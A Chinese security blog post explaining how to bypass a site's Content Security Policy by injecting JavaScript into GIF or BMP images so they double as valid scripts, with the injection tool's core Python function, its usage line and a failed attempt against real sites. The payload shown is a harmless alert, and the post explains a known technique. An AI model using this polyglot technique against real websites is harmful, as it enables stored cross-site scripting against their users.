注入js到图片bypass CSP(猜想)

注入js到图片bypass CSP

相关资料

http://marcoramilli.blogspot.it/2013/10/hacking-through-images.html
http://marcoramilli.blogspot.ru/2014/01/hacking-through-image-gif-turn.html
https://github.com/wopot/jsgifkeylogger

CSP简介

内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。
比如知乎的响应头里有如下字段:

Content-Security-Policy: default-src *; script-src *.zhihu.com *.google-analytics.com 'unsafe-eval';

这样浏览器就只会加载来自.zhihu.com,。google-analytics.com的js文件。即使找到了一个好用的存储型XSS,也无法加载外域的js脚本。

注入js到图片文件

很显然,如果我们可以在*.zhihu.com上上传一个js文件,xss就可以利用了。上传js文件的地方不好找,可是长传图片的地方却是很常见。一个图片能不能也是一个符合js语法的文件呢。下图说明是可以的。script标签的src属性是不限制资源后缀的,只要返回是合法的js代码即可。

csp1

关于如何让一个图片文件变成符合js语法的文件,已经有不少相关的研究了。可以参考文末的相关资料。这里提供两个在bmp和gif注入js的脚本(来源于参考资料,修复了原代码一处bug)。相关脚本下载:https://github.com/stayliv3/blog_material/tree/master/csp
使用方法:

python jsingif.py -i test.gif "alert(1)"

原理分析

脚本中核心的函数如下:

def _inject_into_file(payload, fname):
"""
Injects the payload into existing GIF
NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
with open(fname + "_malw.gif", "w+b") as fout:
print fname
with open(fname, "rb") as fin:
for line in fin:
ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')
fout.write(ls2)
fout.seek(6,0)
fout.write(b'\x2F\x2A') #/*
 
f = open(fname + "_malw.gif", "a+b") #appending mode
f.write(b'\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.write(b'\x3B')
f.close()
return True

\x2A\x2F对应js中的注释符号 /
\x2F\x2A对应js中的注释符号 /
\x2A\x2F\x3D\x31\x3B 是*/=1;
\x3B 是;
所以处理的过程是先把原gif文件中的\x2A\x2F和\x2F\x2A替换成\00以免破坏后面插入的注释符。
之后偏移6个字节,在gif文件头GIF89a后面插入/,然后在文件末尾写入/=1;写入payload,写入;
所以文件处理完是这个样子的

GIF89a/*gif图片数据*/=1;alert(1);

这样子就完全符合js的语法了。

实战测试

发现知乎文件上传之后在zhimg.com域,不在CSP的白名单里。看来静态文件放在单独的域实在是一个很好的防御策略。然后想在蘑菇街上找个上传图片的地方,发现图片都被渲染了。膜拜黑哥多年以前的思路:

superhei<0x@557.im> 19:44:41
sns是意义在于 inside的里面很难防御

superhei<0x@557.im> 19:44:53
比如上传文件

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 🙂
  • 😯
  • 🙁
  • 🙄
  • 😛
  • 😳
  • 😮
  • emoji-mrgree
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • ➡
  • 😕
  • ❓
  • ❗
  • 68 queries in 0.397 seconds